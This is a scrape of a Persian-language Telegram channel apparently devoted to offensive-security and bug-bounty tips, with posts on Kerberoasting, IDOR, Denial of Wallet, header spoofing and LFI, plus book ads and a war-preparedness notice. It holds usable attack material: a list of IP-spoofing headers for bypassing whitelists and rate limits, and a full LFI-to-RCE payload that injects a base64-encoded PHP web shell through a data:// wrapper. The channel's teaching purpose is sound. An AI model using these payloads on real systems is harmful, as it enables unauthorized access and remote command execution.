Try Hack Box
7.09K subscribers
755 photos
80 videos
142 files
777 links
1 Nov 2020
1399/08/11


🔴 THB | Offensive Security

آموزش، تحقیق و تجربه عملی در امنیت تهاجمی

Penetration Testing · Red Teaming · AI Security

🎯 یاد بگیر. آزمایش کن. حرفه‌ای شو.
Download Telegram
🔥 با تکنیک‌ های killer که بیشتر باگ هانترها ازشون غافلن.

IP Spoofing Headers برای Bypass و Testing:

X-Forwarded-For: 127.0.0.1
📌 توسط proxyها/load balancerها trusted میشه
X-Real-IP: 127.0.0.1
📌 رایج در setupهای NGINX
X-Client-IP: 127.0.0.1
📌 برای rate limiting/tracking استفاده میشه
X-Remote-IP: 127.0.0.1
📌 ممکنه روی backend logic تاثیر بذاره
X-Remote-Addr: 127.0.0.1
📌 سعی میکنه remote IP رو override کنه
True-Client-IP: 127.0.0.1
📌 توسط CDNها (مثل Akamai) استفاده میشه
CF-Connecting-IP: 127.0.0.1
📌 Cloudflare real IP header
Fastly-Client-IP: 127.0.0.1
📌 Fastly CDN client IP
X-Cluster-Client-IP: 127.0.0.1
📌 در محیط‌های clustered دیده میشه
Forwarded: for=127.0.0.1
📌 نسخه RFC standard از XFF
X-Originating-IP: 127.0.0.1
📌 توسط mail serverها و legacy appها استفاده میشه
X-Forwarded-Host: 127.0.0.1
📌 میتونه روی virtual host routing تاثیر بذاره
X-Forwarded-Server: 127.0.0.1
📌 backend routing logic
X-Real-Hostname: localhost
📌 سعی میکنه internal host رو spoof کنه
Via: 127.0.0.1
📌 ممکنه در proxy chainها ظاهر بشه
Forwarded-For: 127.0.0.1
📌 non-standard اما در wild دیده میشه
Proxy-Client-IP: 127.0.0.1
📌 سرورهای Java-based (Tomcat)
WL-Proxy-Client-IP: 127.0.0.1
📌 WebLogic-specific header

استفاده: Bypass IP whitelisting، rate limitها، geo-blockها، SSRF filterها یا trigger internal behavior. چندتاشون رو combine کن برای نتایج بهتر در black-box testing.

کدوم header spoofing رو با 127.0.0.1 تست کردی که rate limit رو دور زد و bounty داد؟ تجربت رو کامنت کن.



@TryHackBox
#باگ_بانتی
❤2
Forwarded from 
پاک کردن تاریخچه مرورگر، تاریخچه‌ای که گوگل نگه داشته را پاک نمیکند گوگل یک کپی جداگانه به حساب شما وصل کرده و نگه می‌دارد این کپی در صفحه‌ای است که اکثر مردم حتی یک‌بار هم بازش نکرده‌اند.

برای پاک کردن کاملش :

https://x.com/KavehxNet/status/2108763797020156052
Forwarded from 
در Active Directory، همه Service Accountها ارزش یکسانی برای مهاجم ندارند.

فرض کن در یک Internal Pentest به چند Service Account دسترسی پیدا کردی.
اینکه صرفاً Password یکی از آنها ضعیف باشد، تمام ماجرا نیست. باید بفهمی آن Account کجا استفاده میشود و چه دسترسی‌ هایی دارد.

برای بررسی، چند سؤال مهم وجود دارد:

🔹 چه SPNهایی به این Account اختصاص داده شده؟
🔹 آیا برای چند سرویس مختلف استفاده میشود؟
🔹 چه Privilegeهایی دارد؟
🔹 آیا روی سرورها دسترسی Local Administrator دارد؟
🔹 آیا Password آن قدیمی است یا در چند سرویس استفاده شده؟
🔹 آیا امکان جایگزینی آن با gMSA وجود دارد؟


حالا یک سناریو را در نظر بگیر.
یک Service Account برای اجرای یک سرویس قدیمی استفاده میشود. Password آن مدت‌هاست تغییر نکرده و همان Account روی چند سیستم دسترسی دارد.

اگر مهاجم بتواند Credential این Account را به دست بیاورد، میزان دسترسی‌ ای که از آن استفاده میکند به Permissionها و محل استفاده از Account بستگی دارد.

اینجاست که بررسی Service Account اهمیت پیدا میکند.

در Kerberoasting، مهاجم میتواند برای SPNهای ثبت‌شده درخواست TGS بفرستد و Material مربوط به Ticket را به‌ صورت Offline برای حدس زدن Password بررسی کند.

اما موفقیت این مرحله به‌تنهایی به معنی دسترسی به کل Domain نیست.

اگر Password حساب قوی باشد، دسترسی‌ های آن محدود باشند و از Credentialها به‌درستی نگهداری شود، مسیر حمله میتواند همانجا متوقف شود.


از سمت دفاع، چند اقدام مشخص اهمیت دارند:

▪️ استفاده از Passwordهای طولانی و تصادفی
▪️ استفاده از gMSA در سرویس‌ های سازگار
▪️ حذف SPNهای غیرضروری
▪️ محدود کردن Privilegeهای Service Account
▪️ بررسی Password Reuse و دسترسی‌ های غیرضروری
▪️ مانیتور درخواست‌ های غیرعادی TGS و تغییرات SPN



در Active Directory، اسم یک Account به‌ تنهایی چیزی درباره میزان ریسک آن نمیگوید.

باید بفهمی آن Account چه چیزی را اجرا میکند، به کجا دسترسی دارد و اگر Credential آن افشا شود، مهاجم از چه مسیری میتواند ادامه بدهد.

این دقیقاً بخشی از تحلیل Attack Path در یک Internal Pentest واقعی است.

به نظر شما در تحلیل ریسک Service Accountها، کدام مورد خطرناک‌تر است: Password ضعیف، دسترسی‌ های بیش‌ازحد (Excessive Privileges) یا استفاده از یک Account در چند سرویس و سرور؟ چرا؟


@KavehOffSec
#ActiveDirectory #RedTeam #CyberSecurity
❤3
Forwarded from Try Hack Box
📚 مجموعه کتابهای کاربردی در دنیای امنیت


مهارت واقعی با خواندن شروع میشود، اما با تمرین و تجربه ساخته میشود؛ کتابی را انتخاب کن که قدم بعدی تو در مسیر حرفه‌ای شدن باشد.


📖 کتابچه "Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory" از مقدماتی تا پیشرفته.

📕 جزئیات بیشتر کتاب

💰 قیمت : ۲۵۰ تومان

📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته

📕 جزئیات بیشتر کتاب

💰 قیمت : ۲۵۰ تومان

📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی

📕 جزئیات بیشتر کتاب

💰 قیمت : ۳۶۰ تومان

📖 کتابچه Kerberos For Pentesters

📕 جزئیات بیشتر کتاب

💰 قیمت : ۲۶۹ تومان


ممکنه در آینده قیمت کتاب‌ ها تغییر کنه و افزایش داشته باشه بنابراین اگر قصد خرید دارید، قیمت فعلی فرصت خوبی برای تهیه کتاب‌ هاست.

📌 جهت خرید به ایدی زیر پیام دهید:
@THBxSupport
❤2
🔥 ۱. کمتر یاد بگیر، بیشتر تمرین کن.

🔥 ۲. ابزارها بدون دانش core هیچی نیستن.

🔥 ۳. دنبال کردن باگ‌ های basic تو رو elite نمیکنه.

ا🔥 ۴. Pro hunterها exploitهای جدید میسازن، نه کپی قدیمی‌ ها رو.

🔥 ۵. فراتر از checklistها فکر کن مثل یه attacker فکر کن.

کدوم نکته‌ش برات جالب‌ تر بود ؟



@TryHackBox
#باگ_بانتی
❤9
🧠 نکته باگ بانتی حملات Denial of Wallet 💸

شنیدی Denial of Service رو... اما Denial of Wallet چی؟

🔍 حمله Denial of Wallet (DoW) وقتیه که attacker یه feature رایگان برای کاربرها رو abuse میکنه، اما برای شرکت هزینه داره منابع، credits یا cloud budget رو drain میکنه.

🚨 چطور کار میکنه؟ بهش میگن cost amplification attack – attacker یه قرون خرج نمیکنه، اما هر بار action trigger بشه، شرکت پول میده.

💥 تارگت‌های رایج در برنامه‌های باگ بانتی:

Cloud Functions (مثل AWS Lambda، Azure Functions) 
مثال: یه search feature عمومی Lambda function رو call میکنه. ۱۰,۰۰۰ request اتوماتیک بفرستی boom، bill AWS شرکت spike میشه 📈.

Email/SMS APIs 
مثال: feature signup/login OTP via Twilio یا SendGrid می‌ فرسته. بدون rate-limiting؟ میتونی credits رو با generate کردن endless verification code به burner emailها یا شماره‌ها drain کنی.

AI Chatbots (مثل OpenAI، Claude APIs) 
مثال: شرکت LLM bot رو integrate کرده. هر chat ~$0.01+ هزینه داره. script endless interaction بنویسی هر response یه costly API callه.

💡 الهام واقعی از دنیای واقعی 
طبق مقاله PortSwigger:

"یه researcher endpoint serverless شرکت رو abuse کرد و Lambda functionهای costly رو trigger کرد bill رو با zero rate-limiting rack up کرد."

تصور کن $5,000 potential cloud misuse از یه endpoint vulnerable گزارش بدی. حالا این high-severity bugه.

🛡️ چیزی که به عنوان Bug Hunter باید دنبالش باشی:

⦁ Public feature هایی که server-side logic trigger میکنن
⦁ APIها بدون authentication یا usage cap
⦁ بدون CAPTCHA یا rate-limiting
⦁ LLM-based botها یا dynamic content generation بدون user restriction
⦁ فرصت‌ های abuse email/SMS OTP یا notification

✅ نکته‌ها قبل از Report:

⦁ Cost impact رو demonstrate کن (مثل "این endpoint OpenAI API استفاده میکنه. X request = $Y.")
⦁ Unrestricted access رو prove کن (بدون auth/rate-limiting)
⦁ Mitigation پیشنهاد بده مثل usage quota، CAPTCHA یا billing cap

💰 این باگ‌ها اغلب plain sight مخفی‌ ان، اما real financial damage میزنن که باعث میشه favorite برای high bounty payoutها بشن.

کدوم DoW attack رو در cloud function یا AI API تست کردی که bill spike کرد و bounty داد؟ تجربت رو کامنت کن.


@TryHackBox
#باگ_بانتی
❤6
Forwarded from Try Hack Box
ا🔎 IDOR را با عوض کردن ID اشتباه نگیرید

خیلی‌ ها وقتی یک Endpoint مثل این میبینند:

GET /api/users/123

اولین کاری که میکنند این است:

GET /api/users/124

اگر جواب گرفتند، می‌ گویند IDOR پیدا شد.
اما تست حرفه‌ ای کمی متفاوت است.

اول باید بفهمی این Endpoint چه Objectی را کنترل میکند و Authorization دقیقاً کجا اعمال میشود.

یک روش ساده:

با Account A یک Object بساز.
همان Object را با Account B درخواست کن.
ببین Server فقط Authentication را بررسی میکند یا واقعاً Ownership را هم بررسی میکند.

بعد سراغ تغییر Identifier برو.
چون سؤال اصلی این نیست:

«آیا میتوانم ID را تغییر بدهم؟»




سؤال اصلی این است:

«آیا Server قبل از دسترسی به Object، بررسی می‌کند این Object واقعاً متعلق به من است؟»



اگر پاسخ دوم «نه» باشد، مشکل فقط یک ID قابل‌حدس نیست؛ یک Authorization Failure است.

@TryHackBox
#تست_نفوذ #امنیت_وب #امنیت_سایبری
❤3
Forwarded from 
اPass the Hash هنوز هم بعد از این همه سال کار میکنه.
چرا؟ چون بخشی از معماری احراز هویت ویندوز هست و کامل پچ نمیشه.
به‌ جای کرک کردن پسورد، مستقیم با NTLM Hash احراز هویت میکنی.

ادامه رشته توییت
https://x.com/KavehxNet/status/2110953930486083996
🔥2
نکته باگ بانتی PDF Keyword Crawler

شکار اطلاعات حساس در PDFهای عمومی؟

🧩 از PDF Keyword Crawler add-on فایرفاکس استفاده کن 
📁 urls.txtت رو لود کن (با لینک‌های.pdf) 
🔑 خودکار برای keywordهای حساس اسکن می‌کنه!

🧠 عالی برای کشف leaked secrets، creds یا internal docs.

👉 Add-on: https://addons.mozilla.org/es-AR/firefox/addon/pdf-keyword-crawler/

https://ott3rly.com/mass-hunting-for-leaked-sensitive-documents/

کدوم keyword رو در PDF Crawler اضافه کردی که secret leakشده شکار کرد؟ تجربت رو کامنت کن


@TryHackBox
#باگ_بانتی
❤2
Try Hack Box
در این شرایط بحرانی، حفظ امنیت و سلامت خود و خانواده ‌تان از اهمیت ویژه ‌ای برخوردار است. لطفاً به دقت مراقب یکدیگر باشید و اقلام ضروری را تهیه کنید. • ذخیره مواد غذایی خشک و غیرپرمصرف: حداقل یک هفته. • آب آشامیدنی: سازمان ‌های امدادی معمولاً 2–3 لیتر به…
⚠️ موج بعدی جنگ به زودی شروع میشه .

نوشتن این پیام برای من خوشایند نیست، اما با توجه به شرایط موجود، احتمال شروع دور جدیدی از درگیری‌ ها را نمیتوان نادیده گرفت. این موضوع به معنای پیش‌ بینی قطعی نیست؛ بااین‌ حال، ترجیح میدهم از همین حالا برای شرایط احتمالی آماده باشیم، نه اینکه در لحظه بحران به فکر چاره بیفتیم.

از همه اعضای TryHackBox میخواهم چند اقدام مشخص را جدی بگیرند:

۱. ارتباط و دسترسی به اینترنت


راه‌ های جایگزین ارتباط با اعضای خانواده و افراد ضروری را مشخص کنید.

شماره تلفن‌ های مهم را خارج از گوشی نیز یادداشت کنید.

اگر فعالیت یا ارتباطات شما به اینترنت وابسته است، برای قطعی یا اختلال طولانی‌ مدت برنامه جایگزین داشته باشید.

۲. امنیت اطلاعات و دارایی‌ های دیجیتال


از فایل‌ ها، اسناد و اطلاعات مهم خود نسخه پشتیبان تهیه کنید.

نسخه پشتیبان را در محلی امن و جدا از دستگاه اصلی نگه دارید.

دسترسی به حساب‌ های مهم، ایمیل بازیابی و روش‌ های احراز هویت دومرحله‌ای را بررسی کنید.

مراقب اخبار تأیید نشده باشید.

۳. آمادگی‌ های ضروری در منزل


آب آشامیدنی، مواد غذایی ماندگار، داروهای ضروری و لوازم کمک‌ های اولیه را برای چند روز در دسترس داشته باشید.

چراغ‌ قوه، باتری یا پاوربانک شارژ شده آماده کنید.

مدارک هویتی، نسخه داروها، مقداری پول نقد و شماره‌های اضطراری را در دسترس قرار دهید.

۴. برنامه‌ ریزی برای شرایط اضطراری


با اعضای خانواده درباره محل ملاقات و روش تماس در صورت قطع ارتباط توافق کنید.

مسیرهای خروج و مکان‌ های امن نزدیک محل زندگی یا کار را بشناسید.

۵. مدیریت اخبار و تصمیم‌ ها


خبرها را از چند منبع معتبر بررسی کنید و شایعات را بازنشر نکنید.

تصمیم‌ های مهم را صرفاً بر اساس پیام‌ های ناشناس یا پیش‌بینی‌ های تأییدنشده نگیرید.

اگر برای کار یا فعالیت‌ های روزمره به زیرساخت‌ های آنلاین وابسته‌اید، برای وقفه احتمالی از قبل برنامه داشته باشید.

این موارد برای ایجاد ترس نیست؛ هدف این است که اگر شرایط تغییر کرد، تصمیم‌ های ضروری را با آرامش و آمادگی بیشتری بگیریم.

هیچ‌ کس نمیتواند با قطعیت بگوید چه اتفاقی خواهد افتاد؛ اما هرکدام از ما میتوانیم آمادگی خود را بیشتر کنیم.

مراقب خودتان و عزیزانتان باشید.

— TryHackBox
❤2😢2
🔥 LFI به RCE via PHP Wrapper (بدون نیاز به Log File!) ⚡

LFI
داری اما با log poisoning یا تریک‌های دیگه luck نداری؟ این روش killer رو با PHP wrapperها امتحان کن:

مثال param vulnerable: 

page=../../../../etc/passwd


حالا PHP shellت رو با base64 encoding بساز: 
echo '<?php system($_GET["cmd"]);?>' | base64

نتیجه رو می‌گیری: 
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=

URL-encodeش کن: 
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D

Payload نهایی (با data:// wrapper): 
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id 
BOOM! Remote Code Execution. 💥

من یه روش wild هم دارم برای رفتن از LFI به RCE با استفاده از leaked phpinfo() page. می‌خوای؟ بگو بدونم.

کدوم LFI رو با data:// wrapper به RCE تبدیل کردی که shell داد و bounty شد؟ تجربت رو کامنت کن



@TryHackBox
#باگ_بانتی
👍1🤔1